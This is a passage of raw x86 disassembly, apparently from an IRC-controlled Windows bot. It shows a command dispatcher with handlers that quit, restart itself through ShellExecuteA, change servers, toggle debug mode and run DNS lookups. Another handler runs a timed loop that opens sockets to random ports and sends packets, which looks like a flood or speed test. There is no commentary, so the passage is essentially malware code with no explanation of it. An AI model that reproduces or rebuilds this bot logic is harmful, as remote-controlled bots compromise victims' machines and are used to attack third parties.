		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset dword_41EBFC
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	ds:dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41DB88
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DF00


loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41EE18
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE18
		push	offset dword_41DB88
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------


loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DF00


loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AB0
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	ds:dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98


loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC


loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	ds:dword_41DF08, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------


loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"


loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	ds:dword_41DF08, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------


loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	ds:dword_41DF08, 0


loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_419A3C
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62


loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	ds:dword_41705C	; ExitProcess


loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B


loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD


loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF00


loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	ds:dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax


loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	ds:dword_41DF58	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968


loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------


loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------


loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968


loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------


loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------


loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968


loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	ds:dword_41709C	; Sleep


loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------


loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	ds:dword_41DF5C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------


loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF00


loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	ds:dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	ds:dword_41DF58	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	ds:dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------


loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968


loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	ds:dword_41DF5C	; freeaddrinfo


loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C


loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------


loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2


loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	ds:dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	ds:dword_41720C	; send
		push	[ebp+var_63B8]
		call	ds:dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
		mov	[ebp+var_6408],	eax
		jmp	short loc_40C48D
; ---------------------------------------------------------------------------


loc_40C483:				; CODE XREF: sub_40A9CF+1AA4j
		mov	[ebp+var_6408],	400h


loc_40C48D:				; CODE XREF: sub_40A9CF+1AB2j
		mov	eax, [ebp+var_6408]
		shr	eax, 0Ah
		push	eax
		push	offset dword_419820
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4B0:				; CODE XREF: sub_40A9CF+19BEj
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_419818
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C4DA
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_41980C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C4FF


loc_40C4DA:				; CODE XREF: sub_40A9CF+1AF4j
		push	offset dword_41DD08
		push	3B7h
		push	0
		push	offset dword_4197E8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C4FF:				; CODE XREF: sub_40A9CF+1B09j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4197DC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40C53A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4142BF
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40C53A:				; CODE XREF: sub_40A9CF+1B43j
		mov	eax, [ebp+var_1A8]
		sub	eax, ds:dword_4197D4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40C564
		mov	eax, [ebp+var_1A8]
